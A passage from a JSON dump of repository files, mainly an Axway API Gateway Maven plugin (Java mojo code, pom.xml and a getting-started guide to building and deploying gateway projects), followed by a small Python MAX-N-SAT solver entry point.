fileName);\n\n\t\t\t\t\t\textractEntry(entry, target);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void extractEntry(JarEntry entry, File target) throws IOException {\n\t\ttarget.getParentFile().mkdirs();\n\n\t\ttry (OutputStream out = new FileOutputStream(target);) {\n\t\t\tInputStream in = this.file.getInputStream(entry);\n\t\t\tIOUtils.copy(in, out);\n\t\t\tIOUtils.closeQuietly(in);\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.7300938963890076,
"alphanum_fraction": 0.7313188910484314,
"avg_line_length": 33.985713958740234,
"blob_id": "f18bf56002efd4e7df0e2c1e68a76d881b1eee0c",
"content_id": "aa40dfd61d74bddf4037f3a3a048c4c3e44ba23a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4898,
"license_type": "permissive",
"max_line_length": 165,
"num_lines": 140,
"path": "/src/main/java/com/axway/maven/apigw/InitMojo.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang.StringEscapeUtils;\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugin.MojoFailureException;\nimport org.apache.maven.plugins.annotations.LifecyclePhase;\nimport org.apache.maven.plugins.annotations.Mojo;\nimport org.apache.maven.plugins.annotations.Parameter;\n\nimport com.axway.maven.apigw.utils.AxwayArchiveFile;\n\n@Mojo(defaultPhase = LifecyclePhase.GENERATE_SOURCES, name = \"init\", requiresProject = true, threadSafe = false, requiresDirectInvocation = true)\npublic class InitMojo extends AbstractGatewayMojo {\n\n\t@Parameter(property = \"axway.template.gateway.fed\", defaultValue = \"${axway.home}/apigateway/system/conf/templates/BlankConfiguration-VordelGateway.fed\")\n\tprotected File templateGateway;\n\n\t@Parameter(property = \"axway.template.policies.fed\", defaultValue = \"${axway.home}/apigateway/system/conf/templates/BlankNoSettingsConfiguration-VordelGateway.fed\")\n\tprotected File templatePolicies;\n\n\t@Override\n\tpublic void execute() throws MojoExecutionException, MojoFailureException {\n\t\tcheckAxwayHome();\n\n\t\tPackageType pkg = getPackageType();\n\n\t\tgetLog().info(\"Initialize project for package type '\" + pkg.getType() + \"'\");\n\n\t\tswitch (pkg) {\n\t\tcase POLICY:\n\t\t\tinitDefaultPolicies();\n\t\t\tinitTestGateway();\n\t\t\tbreak;\n\n\t\tcase SERVER:\n\t\t\tinitDefaultGateway();\n\t\t\tbreak;\n\n\t\tcase DEPLOYMENT:\n\t\t\tinitDefaultConfig();\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tthrow new MojoExecutionException(\"Unsupported package type: \" + getPackageType());\n\t\t}\n\t\t\n\t\tinitGitIgnoreFile();\n\t}\n\n\tprotected void initTestGateway() throws MojoExecutionException {\n\t\textractFedTemplate(this.templateGateway, this.testServerDirectory, \"test gateway\");\n\t\tcreateProjectFile(this.testServerDirectory, PolicyStudioMojo.TEST_SERVER_PROJECT_NAME);\n\t}\n\n\tprotected void initDefaultPolicies() throws MojoExecutionException {\n\t\tFile dir = new File(this.sourceDirectory, DIR_POLICIES);\n\t\textractFedTemplate(this.templatePolicies, dir, \"default policies\");\n\t\tcreateProjectFile(dir, buildProjectName());\n\t}\n\n\tprotected void initDefaultGateway() throws MojoExecutionException {\n\t\tFile dir = new File(this.sourceDirectory, DIR_POLICIES);\n\t\textractFedTemplate(this.templateGateway, dir, \"default gateway\");\n\t\tcreateProjectFile(dir, buildProjectName());\n\t}\n\n\tprotected void initDefaultConfig() throws MojoExecutionException {\n\t\ttry {\n\t\t\t// write empty JSON configuration file\n\t\t\tFile configFile = new File(this.sourceDirectory, DeploymentArchiveMojo.FILE_GATEWAY_CONFIG_JSON);\n\t\t\tif (!configFile.exists()) {\n\t\t\t\tFileUtils.writeStringToFile(configFile, \"{}\", \"UTF-8\");\n\t\t\t} else {\n\t\t\t\tgetLog().info(\"Nothing to do, configuration file already initialized.\");\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on initializing deployment archive project\", e);\n\t\t}\n\t}\n\n\tprotected void extractFedTemplate(File fedFile, File targetDir, String componentName)\n\t\t\tthrows MojoExecutionException {\n\t\tFile primaryStore = new File(targetDir, \"PrimaryStore.xml\");\n\t\tif (primaryStore.exists()) {\n\t\t\tgetLog().info(\"Nothing to do, \" + componentName + \" already initialized.\");\n\t\t\treturn;\n\t\t}\n\n\t\tgetLog().info(\"Initialize \" + componentName + \" by using template '\" + fedFile.getPath() + \"' to '\" + targetDir\n\t\t\t\t+ \"'.\");\n\n\t\ttry (AxwayArchiveFile fed = new AxwayArchiveFile(fedFile);) {\n\t\t\tfed.extractPolicies(targetDir);\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on initializing \" + componentName + \" from template\", e);\n\t\t}\n\t}\n\n\tprotected void createProjectFile(File dir, String projectName) throws MojoExecutionException {\n\t\ttry {\n\t\t\tFile prj = new File(dir, \".project\");\n\t\t\tStringBuilder xml = new StringBuilder();\n\t\t\txml.append(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\");\n\t\t\txml.append(\"<projectDescription>\\n\");\n\t\t\txml.append(\" <name>\").append(StringEscapeUtils.escapeXml(projectName)).append(\"</name>\\n\");\n\t\t\txml.append(\" <comment/>\\n\");\n\t\t\txml.append(\" <projects/>\\n\");\n\t\t\txml.append(\" <buildSpec/>\\n\");\n\t\t\txml.append(\" <natures/>\\n\");\n\t\t\txml.append(\"</projectDescription>\");\n\n\t\t\tFileUtils.write(prj, xml.toString(), \"UTF-8\");\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on creating project file\", e);\n\t\t}\n\t}\n\t\n\tprotected void initGitIgnoreFile() throws MojoExecutionException {\n\t\tFile gitignore = new File(this.project.getBasedir(), \".gitignore\");\n\t\tif (!gitignore.exists()) {\n\t\t\tStringBuilder str = new StringBuilder();\n\t\t\tstr.append(\"/.studio\\n\");\n\t\t\tstr.append(\"/target\\n\");\n\t\t\tstr.append(\".projdeps.json\\n\");\n\t\t\t\n\t\t\ttry {\n\t\t\tFileUtils.write(gitignore, str.toString(), \"UTF-8\");\n\t\t\t} catch (IOException e) {\n\t\t\t\tthrow new MojoExecutionException(\"Error on initializing .gitignore file\");\n\t\t\t}\n\t\t} else {\n\t\t\tgetLog().warn(\".gitignore already exists and will not be updated\");\n\t\t}\n\t\t\n\t}\n}\n"
},
{
"alpha_fraction": 0.6879374384880066,
"alphanum_fraction": 0.7019349336624146,
"avg_line_length": 28.987653732299805,
"blob_id": "3405432cd6e52749fdeaa1b100c227c28fc81c36",
"content_id": "e8acbc3a8f2aa7225fee0ab36067b76066aa2852",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Maven POM",
"length_bytes": 4858,
"license_type": "permissive",
"max_line_length": 120,
"num_lines": 162,
"path": "/pom.xml",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "<!--\n~ Copyright 2006-2019 the original author or authors.\n~\n~ Licensed under the Apache License, Version 2.0 (the \"License\");\n~ you may not use this file except in compliance with the License.\n~ You may obtain a copy of the License at\n~\n~ http://www.apache.org/licenses/LICENSE-2.0\n~\n~ Unless required by applicable law or agreed to in writing, software\n~ distributed under the License is distributed on an \"AS IS\" BASIS,\n~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n~ See the License for the specific language governing permissions and\n~ limitations under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.axway.maven.plugins</groupId>\n\t<artifactId>apigw-maven-plugin</artifactId>\n\t<version>1.2.0.1</version>\n\t<packaging>maven-plugin</packaging>\n\n\t<name>Axway API Gateway Maven Plugin</name>\n\t<description>Maven Plugin for Axway API Gateway and API Manager</description>\n\t<url>https://www.axway.com</url>\n\n\t<organization>\n\t\t<name>Axway</name>\n\t\t<url>https://www.axway.com</url>\n\t</organization>\n\t\n\t<developers>\n\t\t<developer>\n\t\t\t<name>Martin Look</name>\n\t\t\t<email>[email protected]</email>\n\t\t\t<organization>Axway</organization>\n\t\t\t<organizationUrl>https://www.axway.com</organizationUrl>\n\t\t\t<url>https://github.com/mlookaxw</url>\n\t\t</developer>\n\t</developers>\n\t\n\t<issueManagement>\n\t\t<system>GitHub Issues</system>\n\t\t<url>https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues</url>\n\t</issueManagement>\n\t\n\t<scm>\n\t\t<url>https://github.com/Axway-API-Management-Plus/apigw-maven-plugin</url>\n\t\t<connection>scm:git:https://github.com/Axway-API-Management-Plus/apigw-maven-plugin.git</connection>\n\t\t<developerConnection>scm:git:https://github.com/Axway-API-Management-Plus/apigw-maven-plugin.git</developerConnection>\n\t</scm>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>Apache License, Version 2.0</name>\n\t\t\t<distribution>repo</distribution>\n\t\t</license>\n\t</licenses>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\n\t\t<jackson.version>[2.9.9.1,)</jackson.version>\n\n\t\t<maven.wagon.http.pool>false</maven.wagon.http.pool>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.maven</groupId>\n\t\t\t<artifactId>maven-core</artifactId>\n\t\t\t<version>3.6.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.maven</groupId>\n\t\t\t<artifactId>maven-plugin-api</artifactId>\n\t\t\t<version>3.6.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.maven.plugin-tools</groupId>\n\t\t\t<artifactId>maven-plugin-annotations</artifactId>\n\t\t\t<version>3.6.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.maven</groupId>\n\t\t\t<artifactId>maven-archiver</artifactId>\n\t\t\t<version>3.3.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t<artifactId>maven-dependency-plugin</artifactId>\n\t\t\t<version>3.1.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.codehaus.plexus</groupId>\n\t\t\t<artifactId>plexus-utils</artifactId>\n\t\t\t<version>3.2.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.codehaus.plexus</groupId>\n\t\t\t<artifactId>plexus-archiver</artifactId>\n\t\t\t<version>4.8.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.fasterxml.jackson.core</groupId>\n\t\t\t<artifactId>jackson-databind</artifactId>\n\t\t\t<version>${jackson.version}</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<resources>\n\t\t\t<resource>\n\t\t\t\t<directory>src/main/resources-filtered</directory>\n\t\t\t\t<filtering>true</filtering>\n\t\t\t</resource>\n\t\t\t<resource>\n\t\t\t\t<directory>src/main/resources</directory>\n\t\t\t\t<excludes>\n \t\t\t<exclude>**/*.class</exclude>\n\t\t </excludes>\n\t\t\t</resource>\n\t\t</resources>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-plugin-plugin</artifactId>\n\t\t\t\t<version>3.6.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<goalPrefix>apigw</goalPrefix>\n\t\t\t\t\t<skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>mojo-descriptor</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>descriptor</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>help-goal</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>helpmojo</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\t<distributionManagement>\n\t\t<repository>\n\t\t\t<id>github</id>\n\t\t\t<name>Axway API Gateway Maven Plugin Packages</name>\n\t\t\t<url>https://maven.pkg.github.com/Axway-API-Management-Plus/apigw-maven-plugin</url>\n\t\t</repository>\n\t</distributionManagement>\n</project>\n"
},
{
"alpha_fraction": 0.7136300802230835,
"alphanum_fraction": 0.7280535101890564,
"avg_line_length": 32.44736862182617,
"blob_id": "40318f9e2b5d2d3b8b1ef831a250d332031f3a07",
"content_id": "f316cfdcc4ce332682b3bedd9617504efb35d60a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 15253,
"license_type": "permissive",
"max_line_length": 228,
"num_lines": 456,
"path": "/doc/getting-started/getting-started.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Getting Started\n:Author: Martin Look\n:Email: [email protected]\n:toc:\n:sectnums:\n:source-highlighter: prettify\n\n:mvn-plugin-ver: 1.2.0.1\n\nHere you get a simple introduction on how to use the _Maven Plugin for Axway API Gateway_.\nIt assumes that you are familiar with https://maven.apache.org[Apache Maven] and that you are familiar with PolicyStudio and the API Gateway.\n\n\n== Install Maven Plugin\n\nFirst you have to install the Maven plugin for Axway API Gateway.\nClone the repository on your machine and install the plugin:\n\n $ cd apigw-maven-plugin\n $ mvn clean install\n\nThe Axway API Gateway Maven plugin is now installed on your machine.\n\nThe plugin requires the installation of the Axway API Gateway _Package and Deploy Tools_.\nThe location of the software has to be specified by the property `axway.home`.\nDue to the location is individual for each developer, configure the property in your `~/.m2/settings.xml` file.\n\n.~/.m2/settings.xml\n[source,xml]\n----\n<settings\n xmlns=\"http://maven.apache.org/SETTINGS/1.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd\"\n>\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>axway</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<axway.home>C:/Axway-7.6.2</axway.home> <!--1-->\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\t<activeProfiles>\n\t\t<activeProfile>axway</activeProfile>\n\t</activeProfiles>\n</settings>\n----\n<1> Specify the location of your Axway installation here.\n\n== Policy Project\n\nAs a first step we will create a simple policy project.\nA policy project contains shared and reusable policies.\nNo server setting are included in a policy project.\n\n=== Initialize Project\n\nTo create a policy project create new folder (e.g. `pol-hello-world`) and create a `pom.xml` file (see template below).\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<project\n xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n>\n <modelVersion>4.0.0</modelVersion>\n\n <groupId>com.example</groupId> <!--1-->\n <artifactId>hello-world</artifactId> <!--2-->\n <version>0.1.0-SNAPSHOT</version> <!--3-->\n <packaging>axway-policy-archive</packaging> <!--4-->\n\n <name>Hello World Policy</name>\n <description>My first \"Hello World\" policy project.</description>\n\n <build>\n <plugins>\n <plugin> <!--5-->\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n </plugin>\n </plugins>\n </build>\n </project>\n----\n<1> Define the group ID of your artifact.\n<2> Define the name of your artifact.\n<3> Define the version of your artifact.\n<4> The packing type `axway-policy-archive` marks it as a policy project.\n<5> Use _Maven Plugin for API Gateway_ for this project.\n\nTo initialize the project invoke the Maven goal `apigw:init`.\n\n $ mvn apigw:init\n\n\nTIP: All goals which are specific to the _Maven Plugin for API Gateway_ have the prefix `apigw:`.\n\nThis will create a source folder with an empty policy project based on a factory template.\nFor testing purpose it also creates an empty policy project with server configuration.\n\n=== Edit Project\n\nTo edit the policies start PolicyStudio by calling the Maven goal `apigw:policystudio`.\n\n $ mvn apigw:policystudio\n\n[NOTE]\n====\nIf PolicyStudio is started the first time in the project directory, it has to be initialized first.\n\nIn this case you will be prompted to close PolicyStudio right after startup.\nSo, just close PolicyStudio and invoke the Maven goal `apigw:policystudio` again.\nYou have to do this only once.\n====\n\nThis will open PolicyStudio.\nThe recently used projects are automatically configured by the plugin.\nSo you don't have to search for your source code.\nJust select your policies or the _Test Server_ project.\n\nimage::pol-policystudio-start.png[PolicyStudio Startup]\n\nOpen the \"hello-world\" project and create a simple policy (see screenshot).\nConfigure PolicyStudio to support environmentalization. For demonstration environmentalize the _Attribute Value_ of the `hello.name` attribute.\n\nimage::pol-hello-world-policy.png[Hello World Message Policy]\n\nClose your project.\n\n=== Build Project\n\nTo build the package and to install it into your local Maven repository just invoke the according goals:\n\n $ mvn clean install\n\nThis will create a `hello-world-0.1.0-SNAPSHOT.axpar` artifact and will install it into your local repository.\n\n== Server Project\n\nFor building an environment independent API Gateway instance create a separate folder (e.g. `srv-hello-world`) and create a server project `pom.xml` file (see template below).\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<project\n xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n>\n <modelVersion>4.0.0</modelVersion>\n\n <groupId>com.example</groupId>\n <artifactId>hello-world-gw</artifactId>\n <version>0.1.0-SNAPSHOT</version>\n <packaging>axway-server-archive</packaging> <!--1-->\n\n <name>Hello World Server</name>\n <description>My first \"Hello World\" server project.</description>\n\n <dependencies>\n \t<dependency> <!--2-->\n \t\t<groupId>com.example</groupId>\n \t\t<artifactId>hello-world</artifactId>\n \t\t<version>0.1.0-SNAPSHOT</version>\n \t\t<type>axway-policy-archive</type>\n \t</dependency>\n </dependencies>\n\n <build>\n <plugins>\n <plugin> <!--3-->\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n </plugin>\n </plugins>\n </build>\n </project>\n----\n<1> The packaging type `axway-server-archive` marks it as a server project.\n<2> Include the dependency of your previously created policy archive.\n<3> Use _Maven Plugin for API Gateway_ for this project.\n\nAs before, to initialize the project invoke the Maven goal `apigw:init`.\n\n $ mvn apigw:init\n\nThis will create a source folder with an empty server project based on a factory template.\n\n=== Edit Project\n\nSame as before, to edit the policies start PolicyStudio by calling the Maven goal `apigw:policystudio`.\n\n $ mvn apigw:policystudio\n\nNOTE: For the first start of PolicyStudio in this project you have to close PolicyStudio after startup and invoke the goal again.\n\nThe dependent policy archive will automatically downloaded from the Maven repository and will be extracted in a temporary folder.\nThe recently used project is automatically configured by the plugin.\n\nimage::srv-policystudio-start.png[PolicyStudio Startup]\n\nOpen your project.\nPolicyStudio will automatically ask you to enable environmentalization and team development.\n\nimage::srv-opened-project.png[Openened Project]\n\nAs you can see the dependent `hello-world` project was automatically configured by the plugin.\n\nDevelop a very simple policy to call the previously created _Hello World Message_ policy.\n\nimage::srv-hello-world-policy.png[Hello World Service]\n\nAnd configure the according listeners.\n\nimage::srv-service-port.png[Service Port]\n\nimage::srv-service-path.png[Service Path]\n\nClose your project and close PolicyStudio.\n\n=== Build Project\n\nAs usual, build the package and install it to your local Maven repository.\n\n $ mvn clean install\n\nThis will create a `hello-world-gw-0.1.0-SNAPSHOT.axsar` artifact and will install it into your local repository.\n\n\n== Deployment Project\n\nFor building an environment specific API Gateway instance create a separate folder (e.g. `dpl-hello-world`) and create a deployment project `pom.xml` file (see template below).\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<project\n xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n>\n <modelVersion>4.0.0</modelVersion>\n\n <groupId>com.example</groupId>\n <artifactId>hello-world-dev</artifactId> <!--1-->\n <version>0.1.0-SNAPSHOT</version>\n <packaging>axway-deployment-archive</packaging> <!--2-->\n\n <name>Hello World (DEV)</name>\n\n <properties>\n <!--3-->\n <!--\n <axway.config.certs>${basedir}/src/main/axwgw/gateway-cert.json</axway.config.certs>\n <axway.config.props>${basedir}/src/main/axwgw/gateway-prop.json</axway.config.props\n -->\n </properties>\n\n\n <dependencies>\n <dependency> <!--4-->\n <groupId>com.example</groupId>\n <artifactId>hello-world-gw</artifactId>\n <version>0.1.0-SNAPSHOT</version>\n <type>axway-server-archive</type>\n </dependency>\n </dependencies>\n\n <build>\n <plugins>\n <plugin> <!--5-->\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n </plugin>\n </plugins>\n </build>\n </project>\n----\n<1> Environment specific artifact, so the name should include the target environment.\n<2> The packaging type `axway-deployment-archive` marks it as a deployment project.\n<3> Optionally specify additional configuration files.\n<4> Include the dependency of your previously created server archive.\n<5> Use _Maven Plugin for API Gateway_ for this project.\n\n\nTo initialize the project invoke the Maven goal `apigw:init`.\n\n $ mvn apigw:init\n\nThis will create a source folder with an empty configuration file.\n\n.src/main/axwgw/gateway.config.json\n[source,json]\n----\n{}\n----\n\n=== Build & Configure Project\n\nBuild the package.\n\n $ mvn clean package\n\nWe use envionmentalized fields in our project.\nThe plugin scans for environmentalized fields and set the values from the configuration.\nAs we haven't configured our project yet, the build will fail.\n\nFor convenience the plugin will automatically add new fields to the configuration file (see below).\n\n.src/main/axwgw/gateway.config.json\n[source,json]\n----\n{\n \"entities\": {\n \"/[CircuitContainer]name=Hello World/[FilterCircuit]name=Hello World Message/[SetAttributeFilter]name=Set name\": { <1>\n \"description\": \"\", \n \"fields\": {\n \"attributeValue#0\": { <2>\n \"source\": \"value\", <3>\n \"type\": \"string\", <4> \n \"used\": true, <5>\n \"value\": null <6>\n }\n }\n }\n }\n}\n----\n<1> Short handed key of the environmentalized entity.\n<2> Name and index of the environmentalized field.\n<3> Specifies that the field value is literally retrieved form \"value\".\n<4> Type of the field (just for documentation, don't change it).\n<5> Indicates if the configured field is used.\nIf _false_ the field is no longer environmentalized or the entity is renamed or removed.\nThe property is automatically maintained by the plugin. \n<6> Literal value of the field. _null_ indicates an unconfigured field.\n\nTIP: When the configuration file is written by the plugin, all JSON properties are sorted.\nThis makes diff & merge easy.\n\nNow configure the field in the configuration file.\n\n[source,json]\n----\n{\n \"attributeValue#0\": {\n \"source\": \"value\",\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"Fred\" <1>\n }\n}\n----\n<1> Your configured value.\n\nAnd build your project again.\n\n $ mvn clean package\n\nNow the build succeeds and a deployment archive `hello-world-dev-0.1.0-SNAPSHOT.axdar` containing the `.fed` file is created.\n\nFor manual checks via ConfigurationStudio the content of the archive is located in the `target/axway-archive` folder.\n\n== Deployment\n\n=== Using projdeploy\n\nThe project can be deployed to a gateway via the plugin.\n\nJust invoke the `apigw:deploy` goal within the deployment project and specify the target domain and group.\n\nIn the following example it is assumed that the Admin Node Manager is located at `localhost:8090`.\nThe user `admin` is allowed to deploy projects and has the password `changeme`.\nThe project shall be deployed to the group `test`. \n\n $ mvn -Daxway.anm.host=localhost -Daxway.anm.port=8090 \\\n -Daxway.anm.user=admin -Daxway.anm.password=changeme \\\n -Daxway.deploy.group=test \\\n clean apigw:deploy\n\n=== Creating and Deploying new Docker Images and Containers\n\nThis project will create new Docker images and containers. The Docker image will be created with the fed file that was\ncreated when the package command was invoked.\n\n\n\nRun this mvn plugin by invoking `apigw:container`. You must specify the following properties:\n\n* axway.deploy.group (mandatory)\n* axway.passphrase.deploy (optional)\n* axway.container.scripts (mandatory)\n* axway.remove.container (mandatory)\n* axway.container.name (optional)\n* axway.remove.image (optional)\n* axway.image.name (mandatory)\n* axway.image.tag (optional)\n* axway.parent.image.name (optional)\n* axway.parent.image.tag (optional)\n* axway.license (mandatory)\n* axway.merge.dir (optional)\n* axway.environment.variables\n* axway.links (optional)\n* axway.ports (optional)\n* axway.domain.cert (optional)\n* axway.domain.key (optional)\n* axway.domain.key.pass.file (optional)\n* axway.admin.node.manager.host (mandatory)\n* axway.metrics.db.url (optional)\n* axway.metrics.db.username (optional)\n* axway.metrics.db.password (optional)\n\nWhen dealing with a domain cert and key there are 2 ways to handle this. First would be to generate your own cert, key\nand password file. These would then be needed to be passed in during the mvn call.\n\nIf no domain, key or password file is passed in maven will assume that it needs to use default cert and key. You will\nneed to create a `cert\\tmp\\pass.txt` file. In this file you just add `changeme` and save this file. Maven will assume\nthat is the location of the file.\n\nIn the following example, we will delete the existing container and image, then we will recreate everything using a\ndefault domain cert and key.\n\n```\n mvn clean apigw:container \\\n --define axway.deploy.group=emt-group \\\n --define axway.container.scripts=/mnt/c/Axway_7.6.2/Software/dockerscripts/emt-containers-1.0.0-9 \\\n --define axway.remove.container=true \\\n --define axway.container.name=apimgr \\\n --define axway.remove.image=true \\\n --define axway.image.name=apimgt \\\n --define axway.image.tag=7.6.2_3 \\\n --define axway.parent.image.name=apigw-base \\\n --define axway.parent.image.tag=7.6.2_3 \\\n --define axway.license=/mnt/c/Axway_7.6.2/Software/API_7.6_Docker_Temp.lic \\\n --define axway.merge.dir=/mnt/c/Axway_7.6.2/tmp/apigateway \\\n --define axway.environment.variables=\"METRICS_DB_URL;jdbc:mysql://mysql:3306/metrics\\?useSSL=false,METRICS_DB_USERNAME;metrics,METRICS_DB_PASS;metrics,EMT_DEPLOYMENT_ENABLED;true,EMT_ANM_HOSTS;anm:8090,CASS_HOST;cassandra\" \\\n --define axway.links=\"anm;anm,cassandra_2.2.12;cassandra,mysql_5.7;mysql\" \\\n --define axway.ports=\"8075;8075,8065;8065,8080;8080\" \\\n --define axway.admin.node.manager.host=anm:8090 \\\n --define axway.metrics.db.url=jdbc:mysql://mysql:3306/metrics\\?useSSL=false \\\n --define axway.metrics.db.username=metrics \\\n --define axway.metrics.db.password=metrics\n```\n\n"
}
] | 32 |
Yushi-Goto/max-n-sat | https://github.com/Yushi-Goto/max-n-sat | 4e4de12b3524ea354454018126c43778df7ff8f1 | 0c7f1f33dccdcd4eef18d4b1a237162e1e077c79 | 06d025767f60e66beeb9c4997aedca164fffffa0 | refs/heads/master | 2022-11-26T13:04:27.426695 | 2020-07-30T14:32:41 | 2020-07-30T14:32:41 | 283,797,907 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6345840096473694,
"alphanum_fraction": 0.650897204875946,
"avg_line_length": 24.54166603088379,
"blob_id": "bf12f2607c4194c1fa32ab0eea2fa61f9f7d60bc",
"content_id": "e63fdc052de8b2b56114e6436dce36d96eb3ed29",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 613,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 24,
"path": "/main.py",
"repo_name": "Yushi-Goto/max-n-sat",
"src_encoding": "UTF-8",
"text": "import argparse\nimport problems\nimport benchmarks\n\ndef parse_args():\n \"\"\"Command-line argument parser\"\"\"\n parser = argparse.ArgumentParser(description='MAX-N_SAT')\n parser.add_argument('--data-path', default='./data/10_10.txt', help='data root path (default: ./data/10_10.txt)')\n\n return parser.parse_args()\n\ndef main():\n args = parse_args()\n\n # Read benchmark data\n N, xc_num, ltrl_ind = benchmarks.dataloader(args.data_path)\n\n # Solve Max N Sat\n m3s = problems.MaxNSat(N, xc_num, ltrl_ind)\n solution = m3s.solve_max_sat()\n print(solution)\n\nif __name__ == '__main__':\n main()\n"
},
{
"alpha_fraction": 0.5688889026641846,
"alphanum_fraction": 0.5733333230018616,
"avg_line_length": 24,
"blob_id": "c55e6df4a90bb84d7c1ee1415120fadc5f463f75",
"content_id": "9b590bca84bf5e2671b5f534aab44da438bafae5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1125,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 45,
"path": "/problems.py",
"repo_name": "Yushi-Goto/max-n-sat",
"src_encoding": "UTF-8",
